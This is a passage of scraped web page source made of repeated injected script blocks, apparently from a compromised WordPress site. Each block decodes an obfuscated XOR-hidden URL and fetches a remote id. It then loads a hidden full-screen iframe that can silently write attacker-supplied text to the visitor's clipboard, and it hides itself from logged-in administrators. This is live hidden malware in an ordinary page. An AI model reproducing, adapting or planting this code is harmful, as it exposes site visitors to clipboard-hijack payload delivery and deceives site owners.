  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
